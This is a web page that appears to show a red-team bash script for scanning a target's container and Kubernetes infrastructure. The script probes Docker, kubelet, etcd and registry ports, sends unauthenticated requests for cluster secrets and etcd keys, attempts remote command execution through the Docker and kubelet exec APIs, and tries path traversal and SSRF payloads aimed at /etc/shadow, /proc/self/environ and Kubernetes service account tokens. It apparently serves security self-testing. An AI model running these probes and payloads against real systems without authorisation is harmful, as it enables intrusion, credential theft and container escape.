AUTONOMY DIRECTORATE

๐Ÿ  Main

๐Ÿงช Interactive Apps

๐Ÿ“ฐ News

๐Ÿ›ก๏ธ PQ Crypta Proxy

๐Ÿ‘ค Account

โŸจ QUANTUM ERROR PORTAL โŸฉ

Navigate the Error Dimensions

PQ Crypta Logo

Script Viewer

Red Team Suite › 25_container_security.sh

25_container_security.sh 164 lines
1 #!/bin/bash
2 # 25 - Container & Kubernetes Runtime Security
3 # Tests: Docker API exposure, container escape vectors, K8s runtime misconfigs,
4 # privileged endpoints, image registry, pod security, capabilities leakage
5
6 SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
7 source "$SCRIPT_DIR/../config.sh"
8
9 OUT_FILE="$OUT/25_container_security.txt"
10 echo "=== 25. Container & Kubernetes Runtime Security ===" | tee "$OUT_FILE"
11 echo "Target: $TARGET" | tee -a "$OUT_FILE"
12 echo "" | tee -a "$OUT_FILE"
13
14 HOST=$(echo "$TARGET" | sed 's|https\?://||' | cut -d/ -f1)
15 IP=$(dig +short "$HOST" | grep -oP '^\d+\.\d+\.\d+\.\d+$' | head -1)
16 [ -z "$IP" ] && IP="$HOST"
17 echo "Resolved $HOST โ†’ $IP" | tee -a "$OUT_FILE"
18 echo "" | tee -a "$OUT_FILE"
19
20 do_port() {
21 local label="$1"; local port="$2"
22 if timeout 3 bash -c "echo >/dev/tcp/$IP/$port" 2>/dev/null; then
23 printf '[OPEN] %s (port %s)\n' "$label" "$port" | tee -a "$OUT_FILE"
24 else
25 printf '[CLOSED] %s (port %s)\n' "$label" "$port" | tee -a "$OUT_FILE"
26 fi
27 }
28
29 do_test() {
30 local label="$1"; shift
31 local code
32 code=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 5 "$@")
33 printf '[%s] %s\n' "$code" "$label" | tee -a "$OUT_FILE"
34 }
35
36 do_body() {
37 local label="$1"; local pattern="$2"; shift 2
38 local body code
39 body=$(curl -sk --max-time 5 "$@")
40 code=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 5 "$@")
41 printf '[%s] %s\n' "$code" "$label" | tee -a "$OUT_FILE"
42 if [ -n "$pattern" ] && echo "$body" | grep -qiE "$pattern"; then
43 echo " [WARN] Pattern matched: $(echo "$body" | grep -ioE "$pattern" | head -2 | tr '\n' ' ')" | tee -a "$OUT_FILE"
44 fi
45 }
46
47 # โ”€โ”€ 1. Container Management Port Exposure โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
48 echo "--- Container Management Port Scan ---" | tee -a "$OUT_FILE"
49 do_port "Docker daemon (unauth)" 2375
50 do_port "Docker daemon (TLS)" 2376
51 do_port "Kubernetes API server" 6443
52 do_port "Kubernetes API (HTTP)" 8080
53 do_port "Kubernetes kubelet" 10250
54 do_port "Kubernetes kubelet RO" 10255
55 do_port "Kubernetes etcd" 2379
56 do_port "Kubernetes etcd peer" 2380
57 do_port "Container Registry" 5000
58 do_port "Portainer" 9000
59 do_port "Rancher" 8443
60 do_port "Podman API" 8888
61 echo "" | tee -a "$OUT_FILE"
62
63 # โ”€โ”€ 2. Docker Daemon API (HTTP) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
64 echo "--- Docker Daemon API ---" | tee -a "$OUT_FILE"
65 DOCKER_HTTP="http://$IP:2375"
66 do_body "Docker version endpoint" '"Version"' "$DOCKER_HTTP/version"
67 do_body "Docker containers list" '"Id"' "$DOCKER_HTTP/containers/json"
68 do_body "Docker images list" '"RepoTags"' "$DOCKER_HTTP/images/json"
69 do_body "Docker info (privileged?)" '"Swarm"\|"Privileged"' "$DOCKER_HTTP/info"
70 do_body "Docker exec endpoint" '"Id"' -X POST -H 'Content-Type: application/json' \
71 -d '{"AttachStdout":true,"Cmd":["id"]}' "$DOCKER_HTTP/containers/$(hostname)/exec"
72 echo "" | tee -a "$OUT_FILE"
73
74 # โ”€โ”€ 3. Kubernetes API Server โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
75 echo "--- Kubernetes API Server ---" | tee -a "$OUT_FILE"
76 K8S="https://$IP:6443"
77 K8S_HTTP="http://$IP:8080"
78 do_body "K8s API root (unauthenticated)" '"paths"' "$K8S/"
79 do_body "K8s API root (HTTP insecure)" '"paths"' "$K8S_HTTP/"
80 do_body "K8s namespaces (unauth)" '"items"' "$K8S/api/v1/namespaces"
81 do_body "K8s pods (unauth)" '"items"' "$K8S/api/v1/pods"
82 do_body "K8s secrets (unauth)" '"items"' "$K8S/api/v1/secrets"
83 do_body "K8s service accounts" '"items"' "$K8S/api/v1/serviceaccounts"
84 do_body "K8s version disclosure" '"gitVersion"' "$K8S/version"
85 do_body "K8s healthz" 'ok' "$K8S/healthz"
86 echo "" | tee -a "$OUT_FILE"
87
88 # โ”€โ”€ 4. Kubelet API (node-level) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
89 echo "--- Kubelet API ---" | tee -a "$OUT_FILE"
90 KUBELET="https://$IP:10250"
91 KUBELET_RO="http://$IP:10255"
92 do_body "Kubelet /pods (unauth)" '"items"' "$KUBELET/pods"
93 do_body "Kubelet /run exec probe" '.' -X POST "$KUBELET/run/default/testpod/container"
94 do_body "Kubelet read-only /pods" '"items"' "$KUBELET_RO/pods"
95 do_body "Kubelet read-only /metrics" 'kubelet_' "$KUBELET_RO/metrics"
96 do_body "Kubelet /metrics (auth)" 'kubelet_' "$KUBELET/metrics"
97 echo "" | tee -a "$OUT_FILE"
98
99 # โ”€โ”€ 5. etcd (cluster secrets store) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
100 echo "--- etcd Cluster Store ---" | tee -a "$OUT_FILE"
101 ETCD="http://$IP:2379"
102 do_body "etcd health check" '"health"' "$ETCD/health"
103 do_body "etcd v2 keys (root)" '"node"' "$ETCD/v2/keys/"
104 do_body "etcd v2 keys /registry" '"node"' "$ETCD/v2/keys/registry"
105 do_body "etcd v3 range (gRPC-Web)" '.' -X POST -H 'Content-Type: application/json' \
106 -d '{"key":"Lg==","range_end":"Lw=="}' "$ETCD/v3/kv/range"
107 echo "" | tee -a "$OUT_FILE"
108
109 # โ”€โ”€ 6. Container Registry โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
110 echo "--- Container Image Registry ---" | tee -a "$OUT_FILE"
111 REGISTRY="http://$IP:5000"
112 do_body "Registry catalog (unauthenticated)" '"repositories"' "$REGISTRY/v2/_catalog"
113 do_body "Registry API v2 ping" '{}' "$REGISTRY/v2/"
114 do_body "Registry manifests probe" '"schemaVersion"' "$REGISTRY/v2/${PROJECT_NAME}/manifests/latest"
115 # Check public Docker Hub namespace
116 do_test "Docker Hub pqcrypta namespace" "https://hub.docker.com/v2/repositories/${PROJECT_NAME}/?page_size=1"
117 echo "" | tee -a "$OUT_FILE"
118
119 # โ”€โ”€ 7. Container Escape Surface (via proxy/app) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
120 echo "--- Container Escape Vectors (via application) ---" | tee -a "$OUT_FILE"
121 # procfs access via path traversal
122 do_test "procfs via traversal /proc/self/environ" \
123 -A "$BROWSER_UA" "$TARGET/../../../../proc/self/environ"
124 do_test "procfs cgroup namespace check" \
125 -A "$BROWSER_UA" "$TARGET/../../../../proc/1/cgroup"
126 do_test "Docker socket path traversal" \
127 -A "$BROWSER_UA" "$TARGET/../../../../var/run/docker.sock"
128 do_test "hostPath /etc/shadow via traversal" \
129 -A "$BROWSER_UA" "$TARGET/../../../../etc/shadow"
130 do_test "hostPath /etc/kubernetes/admin.conf" \
131 -A "$BROWSER_UA" "$TARGET/../../../../etc/kubernetes/admin.conf"
132 echo "" | tee -a "$OUT_FILE"
133
134 # โ”€โ”€ 8. Container Metadata & Runtime Info โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
135 echo "--- Container Metadata Endpoints ---" | tee -a "$OUT_FILE"
136 # Kubernetes service account token paths via SSRF
137 do_test "K8s serviceaccount token probe (SSRF)" \
138 -A "$BROWSER_UA" "$TARGET/?url=$(python3 -c "import urllib.parse; print(urllib.parse.quote('file:///var/run/secrets/kubernetes.io/serviceaccount/token'))")"
139 do_test "K8s namespace probe (SSRF)" \
140 -A "$BROWSER_UA" "$TARGET/?url=$(python3 -c "import urllib.parse; print(urllib.parse.quote('file:///var/run/secrets/kubernetes.io/serviceaccount/namespace'))")"
141 # Internal K8s service DNS
142 do_test "K8s API via internal DNS (SSRF)" \
143 -A "$BROWSER_UA" "$TARGET/?url=$(python3 -c "import urllib.parse; print(urllib.parse.quote('https://kubernetes.default.svc/api/v1/namespaces'))")"
144 do_test "K8s API via internal IP (SSRF)" \
145 -A "$BROWSER_UA" "$TARGET/?url=$(python3 -c "import urllib.parse; print(urllib.parse.quote('https://10.96.0.1/api/v1/namespaces'))")"
146 echo "" | tee -a "$OUT_FILE"
147
148 # โ”€โ”€ 9. Pod Security / Capability Leakage via App โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
149 echo "--- Privileged Container Detection (App Response Analysis) ---" | tee -a "$OUT_FILE"
150 # If app is in a container, check what it reveals about its environment
151 APP_RESP=$(curl -sk -A "$BROWSER_UA" --max-time 5 "$API_TARGET/status" 2>/dev/null)
152 for FIELD in container docker kubernetes pod namespace node_name host_ip; do
153 if echo "$APP_RESP" | grep -qi "\"$FIELD\""; then
154 echo " [WARN] Field '$FIELD' exposed in API status response" | tee -a "$OUT_FILE"
155 fi
156 done
157 # Check if hostname in response looks like a pod name (random suffix)
158 HOSTNAME_IN=$(echo "$APP_RESP" | grep -ioP '"hostname"\s*:\s*"[^"]+"' | head -1)
159 [ -n "$HOSTNAME_IN" ] && echo " Hostname field: $HOSTNAME_IN" | tee -a "$OUT_FILE" || \
160 echo " [OK] No hostname field in API response" | tee -a "$OUT_FILE"
161 echo "" | tee -a "$OUT_FILE"
162
163 echo "=== 25. Container Security COMPLETE ===" | tee -a "$OUT_FILE"
164